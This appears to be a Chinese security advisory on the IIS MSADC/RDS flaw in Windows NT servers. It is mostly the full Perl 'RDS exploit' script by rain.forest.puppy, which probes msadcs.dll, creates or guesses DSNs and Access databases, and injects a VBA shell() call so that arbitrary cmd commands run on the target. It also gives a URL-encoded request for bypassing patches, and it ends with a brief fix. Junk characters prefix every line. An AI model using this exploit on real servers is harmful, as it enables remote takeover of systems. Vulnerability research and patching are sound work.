IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?pE)K<+Zkf ULqFJ*nla 涉及程序:
Oz3JMZe Microsoft NT server
U`G %\i
OX|F_ 描述:
k}MmgaT:5] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>bwB+-l yL }0Q_yuzx0m 详细:
FTVV+9.l: 如果你没有时间读详细内容的话,就删除:
0Nvk|uI
V[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
Bri yy 有关的安全问题就没有了。
Owe"x2D\ /2%646 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
})v`` + )=~OP>7B 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
NNOemTh 关于利用ODBC远程漏洞的描述,请参看:
rKhhx 0|a ,bwZ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm v[++"=<
o8 XfYMv38( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
%QYH]DR http://www.microsoft.com/security/bulletins/MS99-025faq.asp {WYJQKs8 aR- ?t14 这里不再论述。
(:g ZZG h83W;s 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
fJiY~mQ F'~\!dNL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
apz)4%A 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
U=kPxe e7n[NVrX ? Zhnb0/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
Gr),o6}p S.4gfY #!perl
4l2/eh]Hc( #
H
~VeY\:w
# MSADC/RDS 'usage' (aka exploit) script
mz[Q]e~&i #
{5GXN! f # by rain.forest.puppy
-:$#koW #
>cTSX # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
W@bZ~Q9 # beta test and find errors!
HX)oN8 TJ_<21a use Socket; use Getopt::Std;
uZ1b_e0SGu getopts("e:vd:h:XR", \%args);
|c<h&p bR\Oyd~e print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
j
aU.hASj JZl"k if (!defined $args{h} && !defined $args{R}) {
i9RAbt Q} print qq~
(aeS+d x Usage: msadc.pl -h <host> { -d <delay> -X -v }
ro%Jg -h <host> = host you want to scan (ip or domain)
l;~b:[r -d <seconds> = delay between calls, default 1 second
8q}955Nl -X = dump Index Server path table, if available
4X}.aZO&b -v = verbose
rf ?\s/#OY -e = external dictionary file for step 5
~W>3EJghR, A$7j B4 Or a -R will resume a command session
HQy:,_f@ cF2!By3M ~; exit;}
^t2b`n60 (XU(e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
J,W<vrKOcN if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
aVE/qXB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0xEr`]]U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Pg''>6w> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}!`_Bz: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
x\i+MVR- 2FE13{+f if (!defined $args{R}){ $ret = &has_msadc;
O>KrTK-AV die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x+Ws lN2a CVAX?c{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2]UwIxzR . "cmd /c ";
r.JM!x8 $in=<STDIN>; chomp $in;
p0|PVn.^h $command="cmd /c " . $in ;
Jv8JCu"eky u6t%*'' if (defined $args{R}) {&load; exit;}
)w_hbU_Pb& A!:R1tTR;S print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y),yks?iv &try_btcustmr;
>53Hqzm&
;"9$LHH* print "\nStep 2: Trying to make our own DSN...";
/a .XWfu &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
v;WfcpWq2 {hH8+4c7 print "\nStep 3: Trying known DSNs...";
H"; !A=0 &known_dsn;
8
U<$u,WS \dHdL\f print "\nStep 4: Trying known .mdbs...";
HOr.(gL! &known_mdb;
=mp"=% EJid@ if (defined $args{e}){
?^by3\,VZ print "\nStep 5: Trying dictionary of DSN names...";
%_L~"E 2e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
O'~>AC5{ INRP@Cp1 print "Sorry Charley...maybe next time?\n";
PiVp(; rtQ exit;
8+n*S$ 0hpU9w}12 ##############################################################################
&-c{ tJa*(%Z?f sub sendraw { # ripped and modded from whisker
mb?r{WCi sleep($delay); # it's a DoS on the server! At least on mine...
) >H11o{& my ($pstr)=@_;
2)\gIMt% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r}4 die("Socket problems\n");
e`eh;@9p if(connect(S,pack "SnA4x8",2,80,$target)){
0-~F%:x select(S); $|=1;
uE ^uP@d print $pstr; my @in=<S>;
Swxur+hfH select(STDOUT); close(S);
q |Orv=v return @in;
@#>YU } else { die("Can't connect...\n"); }}
tE$oV }I"k=>Ycns ##############################################################################
V2B:
DIpr G@4n]c_ sub make_header { # make the HTTP request
U:fGIEz{ZY my $msadc=<<EOT
p;<aZ&@O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
WX&0;Kr User-Agent: ACTIVEDATA
Ru~;awV? Host: $ip
mcb|N_#n/ Content-Length: $clen
m4@Lml+B, Connection: Keep-Alive
hbSXa' h @2.D|c)g ADCClientVersion:01.06
Vwpy/5Hmp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
n48%Uwa, Blox~=cW --!ADM!ROX!YOUR!WORLD!
tL\L4>^7T Content-Type: application/x-varg
x4CSUcKb Content-Length: $reqlen
vduh5. 9!,f4&G` EOT
/ptG ; $msadc=~s/\n/\r\n/g;
X?z
CB return $msadc;}
XNr8,[c 9`Y\`F#}q ##############################################################################
rebWXz7 ZRP[N)Ld$ sub make_req { # make the RDS request
Y?4N%c_; my ($switch, $p1, $p2)=@_;
j-k]|0ea} my $req=""; my $t1, $t2, $query, $dsn;
lbj_if; swfjKBfw+g if ($switch==1){ # this is the btcustmr.mdb query
wqF_hs(O $query="Select * from Customers where City=" . make_shell();
~0YRWM ; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Is(ZVI $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'EO"0, CPLsSv5 elsif ($switch==2){ # this is general make table query
R,8460e7 $query="create table AZZ (B int, C varchar(10))";
vxk~(3]<) $dsn="$p1";}
C[[:/X(c 3a?dNwM@ elsif ($switch==3){ # this is general exploit table query
-uhg7N[3 $query="select * from AZZ where C=" . make_shell();
=GL^tAUJ $dsn="$p1";}
om1D} irKT 2SXy)m
! elsif ($switch==4){ # attempt to hork file info from index server
OP98 sd&T $query="select path from scope()";
UW],9r/PD@ $dsn="Provider=MSIDXS;";}
I^?hVH )rbcY0q elsif ($switch==5){ # bad query
N 8pzs" $query="select";
UJ^-T+fut $dsn="$p1";}
T5+
(F z vPET'Bf(YV $t1= make_unicode($query);
\^Z DH $t2= make_unicode($dsn);
PX5U) $req = "\x02\x00\x03\x00";
|D~#9 $req.= "\x08\x00" . pack ("S1", length($t1));
D%h_V>#z $req.= "\x00\x00" . $t1 ;
!U~S7h} $req.= "\x08\x00" . pack ("S1", length($t2));
MmW]U24s $req.= "\x00\x00" . $t2 ;
Eikt, $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Wo,fHY return $req;}
nq*D91Q }3S6TJ+ ##############################################################################
i,mo0CSa iz:O]kI sub make_shell { # this makes the shell() statement
Vb/XT{T;b return "'|shell(\"$command\")|'";}
znNv;-q t}2M8ue(& ##############################################################################
VcORRUp DC,]FmWs!+ sub make_unicode { # quick little function to convert to unicode
uE&2M>2 my ($in)=@_; my $out;
F>"B7:P1:Q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PHg(O:3WG return $out;}
o(Q='kK */ok]kX' ##############################################################################
43/!pW AfJ .SNE sub rdo_success { # checks for RDO return success (this is kludge)
0Rz",Mu> my (@in) = @_; my $base=content_start(@in);
1V;m8)RF if($in[$base]=~/multipart\/mixed/){
1zIrU6H2;_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P+(Ys[J3 return 0;}
FfibR\dhY ~uw eBp~O ##############################################################################
{AO`[ vU!<-T# sub make_dsn { # this makes a DSN for us
V w5@)l*f my @drives=("c","d","e","f");
0T<DHPQ1 print "\nMaking DSN: ";
j)lgF: foreach $drive (@drives) {
>5bd!b, print "$drive: ";
eS; W>d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
giu8EjzK "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
kg()C%#u
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#W[C;f|, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
l1D"*J 2` return 0 if $2 eq "404"; # not found/doesn't exist
cQ`+ A|q if($2 eq "200") {
0r ilg foreach $line (@results) {
8@BN6 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6a*OQ{8 } return 0;}
fXB64MNo =d1i<iw?- ##############################################################################
4d )Q r]O8|#P,Z$ sub verify_exists {
)Ga 3Ji}' my ($page)=@_;
X{;3gN my @results=sendraw("GET $page HTTP/1.0\n\n");
(0QYX[(r~o return $results[0];}
B{-+1f4 }OLBEhGs ##############################################################################
uz@WW!+o
?ubIh.d sub try_btcustmr {
Jkub|w#QH my @drives=("c","d","e","f");
q-nM]Gm my @dirs=("winnt","winnt35","winnt351","win","windows");
b`X"yg+ 9|&%"~6' foreach $dir (@dirs) {
Avo"jN*<d print "$dir -> "; # fun status so you can see progress
M{M?#Q foreach $drive (@drives) {
N0']t Gh2 print "$drive: "; # ditto
6l?\iE $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D>I|(B!.p8 $reqlenlen=length( "$reqlen" );
>Wr $clen= 206 + $reqlenlen + $reqlen;
DX4"}w he1OLk
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*Q:EICDE7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
jthGNVZ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O{44GB3 q
NE(@at ##############################################################################
.5YIf~!59 2:D1<z6RQ sub odbc_error {
b}5hqIy my (@in)=@_; my $base;
*XSHzoT* my $base = content_start(@in);
bhc
.UmH if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]2'{W]m $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r d4\N2- 6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`B7 1 ` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h?2 :'Vu] return $in[$base+4].$in[$base+5].$in[$base+6];}
:Y>M//0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
O(Vi/r2:e print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*WX,bN6Ot $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
SPU_@ Pk aBx8wl*Vm ##############################################################################
K#oF=4_/| *Zi:^<hv sub verbose {
C#x9RW my ($in)=@_;
c=A)_ZFg return if !$verbose;
LG3:V'| print STDOUT "\n$in\n";}
F3V_rE< {Tym# ##############################################################################
}Qo:;&"3 Dt p\T|) sub save {
< &~KYu\r my ($p1, $p2, $p3, $p4)=@_;
_'47yq^O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^GN |}W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
3~Vo]wv close OUT;}
X1{U''$
K cWG?`6xU& ##############################################################################
:D !}jN/) 7L\kna< sub load {
v3{[rK} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h(VF open(IN,"<rds.save") || die("Couldn't open rds.save\n");
M<x
W)R @p=<IN>; close(IN);
W2\Q-4D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
TWFi.w4pY $target= inet_aton($ip) || die("inet_aton problems");
|6}:n,KA. print "Resuming to $ip ...";
Sx%vJYH0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Sxw%6Va]p if($p[1]==1) {
:6Oh ?y@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"O,TL*$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q\4nduQ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"mm|0PUJ if (rdo_success(@results)){print "Success!\n";}
(`pd> else { print "failed\n"; verbose(odbc_error(@results));}}
-8r9DS-/W elsif ($p[1]==3){
L_WVTz?` if(run_query("$p[3]")){
G[=8Ko0U+n print "Success!\n";} else { print "failed\n"; }}
nQW`X=Ku elsif ($p[1]==4){
|p7k2wzN if(run_query($drvst . "$p[3]")){
h"~GaI print "Success!\n"; } else { print "failed\n"; }}
R0!qweGi@ exit;}
~J:"sUR R^=)Ucj ##############################################################################
Ni4*V3VB JZ sub create_table {
*l-(tp5 my ($in)=@_;
z|gG%fM $reqlen=length( make_req(2,$in,"") ) - 28;
jS,zdJs= $reqlenlen=length( "$reqlen" );
`*nK@: $clen= 206 + $reqlenlen + $reqlen;
rZBOWT my @results=sendraw(make_header() . make_req(2,$in,""));
+o\s
|G|l return 1 if rdo_success(@results);
6s"Erq5q my $temp= odbc_error(@results); verbose($temp);
D9|?1+Kc return 1 if $temp=~/Table 'AZZ' already exists/;
{} 11U0 return 0;}
xe3t_y "T_OLegdK ##############################################################################
4&c7^ 4w~ Tpv]c sub known_dsn {
1li1& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!Y3
*\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
n^7$ST#'bV "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4l~0LdYXKm "banner", "banners", "ads", "ADCDemo", "ADCTest");
xgeKz^, zkt+"P{az[ foreach $dSn (@dsns) {
#' =rv print ".";
faVR % next if (!is_access("DSN=$dSn"));
j`9+pI if(create_table("DSN=$dSn")){
A%G
\
AT print "$dSn successful\n";
'h6Vj6 if(run_query("DSN=$dSn")){
Gv};mkX[N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u,6 'yB'u print "Something's borked. Use verbose next time\n";}}} print "\n";}
p2UZqq2 S}rW=hO ##############################################################################
-Oro$=% ?OU+)kgzh sub is_access {
!%x=o& my ($in)=@_;
Z~-A*{u? $reqlen=length( make_req(5,$in,"") ) - 28;
\y%:[g}Fvw $reqlenlen=length( "$reqlen" );
@YEdN}es $clen= 206 + $reqlenlen + $reqlen;
jR^>xp; my @results=sendraw(make_header() . make_req(5,$in,""));
I&e,R my $temp= odbc_error(@results);
W1UG\d`2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{bUd"Tu return 0;}
[We(0wF[` :W/,V^x} ##############################################################################
*WQ}ucE^# :z EhPx;B7 sub run_query {
;rj=hc my ($in)=@_;
90pk $reqlen=length( make_req(3,$in,"") ) - 28;
z5CWgN $reqlenlen=length( "$reqlen" );
b (,X3x* $clen= 206 + $reqlenlen + $reqlen;
%0PZZl5b my @results=sendraw(make_header() . make_req(3,$in,""));
pEjA*6v|, return 1 if rdo_success(@results);
H:ar&o#( my $temp= odbc_error(@results); verbose($temp);
GA{Q6]B return 0;}
qR~s&SC# J jCzCA:K_ ##############################################################################
(BgO< [1Dg_>lz sub known_mdb {
*q%)q my @drives=("c","d","e","f","g");
"/).:9],} my @dirs=("winnt","winnt35","winnt351","win","windows");
&\\iD :J my $dir, $drive, $mdb;
x0])&':! my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8u::f`vi nD\X3g`V # this is sparse, because I don't know of many
S-8O9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
[`^x;*C "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
b|c?xHF}K "\\system32\\certmdb.mdb",
:v k+[PzJ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=sP6 LDL#*g my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Kl[WscR "\\cfusion\\cfapps\\forums\\forums_.mdb",
XV2f|8d> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fN8|4 "\\cfusion\\cfapps\\security\\realm_.mdb",
6 m5 \f "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ms=Ilz "\\cfusion\\database\\cfexamples.mdb",
saH +C@_, "\\cfusion\\database\\cfsnippets.mdb",
B
0%kq7>g "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c7jft|4S "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Z\E 3i "\\cfusion\\brighttiger\\database\\cleam.mdb",
?o h3t "\\cfusion\\database\\smpolicy.mdb",
Kfc(GL? "\\cfusion\\database\cypress.mdb",
@|&P#wd.u "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(U/xpj} "\\website\\cgi-win\\dbsample.mdb",
;bd\XHwMUP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
63QSYn,t "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a$I;
L ); #these are just
$S$%avRX foreach $drive (@drives) {
Aa&3x~3+ foreach $dir (@dirs){
~ e[)]b3 foreach $mdb (@sysmdbs) {
B @]( , print ".";
L4aT=of- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{y|y68y0+ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#(@dN+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1$fA9u$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
apUV6h-v } else { print "Something's borked. Use verbose next time\n"; }}}}}
m p~\ioI*d ushQWP) foreach $drive (@drives) {
t=~5I> foreach $mdb (@mdbs) {
nTjQ4y print ".";
FuaGr0] if(create_table($drv . $drive . $dir . $mdb)){
EOV<|WF> print "\n" . $drive . $dir . $mdb . " successful\n";
=o=)EU{~ if(run_query($drv . $drive . $dir . $mdb)){
=,I,K=+_x print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
vKDPg p<j } else { print "Something's borked. Use verbose next time\n"; }}}}
8oY0?|_Bx }
{S\cpCI` Zx<s-J4o=w ##############################################################################
Z{RgpVt hNFMuv
sub hork_idx {
Dw{C_e print "\nAttempting to dump Index Server tables...\n";
yPm)r2Ck print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xYM!mcA $reqlen=length( make_req(4,"","") ) - 28;
SZc6=^$ $reqlenlen=length( "$reqlen" );
m%q#x8Fp $clen= 206 + $reqlenlen + $reqlen;
3Nw9o6` U my @results=sendraw2(make_header() . make_req(4,"",""));
E/_=0t if (rdo_success(@results)){
-4b9( my $max=@results; my $c; my %d;
Yc#o GCt for($c=19; $c<$max; $c++){
XaD}J:X q $results[$c]=~s/\x00//g;
BZsw(l4/0' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4 !~JNO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
;4XX8W1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
XLFJ?$)Tro $d{"$1$2"}="";}
~@R=]l" foreach $c (keys %d){ print "$c\n"; }
}(J6zo9(x } else {print "Index server doesn't seem to be installed.\n"; }}
1S\q\kz->D yA(H=L-=!1 ##############################################################################
f&^K>Jt1@# eUqsvF}l! sub dsn_dict {
&cDnZ3Q; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
pz?.(AmU\ while(<IN>){
sJ?Fque $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9ZG.%+l next if (!is_access("DSN=$dSn"));
[m!\ZK if(create_table("DSN=$dSn")){
~z>2`^Z" print "$dSn successful\n";
?
_[gs/i} if(run_query("DSN=$dSn")){
rM pb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)0PUK9 print "Something's borked. Use verbose next time\n";}}}
;wDcYs print "\n"; close(IN);}
^`=Z=C$fj yXrFH@3 ##############################################################################
H@__%KBw +t/VF(! sub sendraw2 { # ripped and modded from whisker
~mK9S^[ sleep($delay); # it's a DoS on the server! At least on mine...
`EU=u_N my ($pstr)=@_;
WABq6q! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RhbYDsG die("Socket problems\n");
|)pT"` if(connect(S,pack "SnA4x8",2,80,$target)){
ctdV4%^{ print "Connected. Getting data";
RIl%p~ open(OUT,">raw.out"); my @in;
)e9(&y*o select(S); $|=1; print $pstr;
VILzx+v
M while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(sO;etW close(OUT); select(STDOUT); close(S); return @in;
<+sv7"a } else { die("Can't connect...\n"); }}
8Z/P<u 4<Bj;1*4 ##############################################################################
kHX- AsRc 5@Ot@o sub content_start { # this will take in the server headers
L4}C%c\p* my (@in)=@_; my $c;
8*4X%a=Of for ($c=1;$c<500;$c++) {
vYmRW-1Zxq if($in[$c] =~/^\x0d\x0a/){
b V;R}3) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O>|Q Zd else { return $c+1; }}}
Q?7UiTZ return -1;} # it should never get here actually
SMqJMirR .0.Ha}{6b ##############################################################################
gGe `w x1$fkNu sub funky {
RH6qi{)i! my (@in)=@_; my $error=odbc_error(@in);
}I,]"0b if($error=~/ADO could not find the specified provider/){
./[%%" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|CY.Y, exit;}
XLg6?Nu if($error=~/A Handler is required/){
5cgDHs print "\nServer has custom handler filters (they most likely are patched)\n";
h&[]B*BLr exit;}
[)#,~L3 if($error=~/specified Handler has denied Access/){
Mh[;E'C6 print "\nServer has custom handler filters (they most likely are patched)\n";
Skp&W*Ai exit;}}
/V2^/`&;a /u*((AJ?Qv ##############################################################################
gG~UsA vkASp&a sub has_msadc {
aJOhji<b#L my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&JtK<g my $base=content_start(@results);
<8+.v6DCd return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K\5@yqy5 return 0;}
x<~ pqq8] rrwBsa3 ########################
$3W[fC yFH)PQ_ q*mNVBy 解决方案:
M@E*_U!U 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"qIO,\3T 2、移除web 目录: /msadc